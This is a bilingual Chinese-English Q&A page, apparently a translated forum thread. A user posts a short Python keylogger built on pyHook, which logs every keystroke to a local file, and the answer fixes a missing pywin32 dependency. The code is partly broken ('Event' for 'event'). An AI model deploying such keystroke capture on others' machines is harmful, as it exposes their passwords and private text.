问题描述
我正在通过使用pyHook,pythoncom和Pywin32模块来使用Python创建小型键盘记录程序.这是我的代码:
I am working to make a small keylogger with Python, by using the pyHook, pythoncom and Pywin32 modules. Here is my code:
import pyHook, pythoncom, sys, logging
file_log = 'C:\\important\\log.txt'
def OnKeyboardEvent (event):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
chr(event.Ascii)
logging.log(10, chr(Event.Ascii))
return True
hooks_manager=pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
运行时,它返回以下错误消息:
When it runs, it returns this error message:
File "C:\Python27\lib\site-packages\pythoncom.py", line 2, in <module>
import pywintypes
ImportError: No module named pywintypes
如何解决此错误?
推荐答案
pywintypes
是适用于Windows的Python扩展,也称为pywin32.您需要安装该文件才能访问pywintypes
.
pywintypes
is part of the Python for Windows extensions, otherwise known as pywin32. You'll need to install that to get access to pywintypes
.
请注意,在撰写本文时,pywin32
的维护者尚未将文件上传到PyPI,因此您必须从 http://pywin32.sf.net .
Note that as of this writing, pywin32
's maintainer doesn't upload files to PyPI, so you have to get an appropriate version of installer from http://pywin32.sf.net.
这篇关于ImportError:没有名为pywintypes的模块的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持!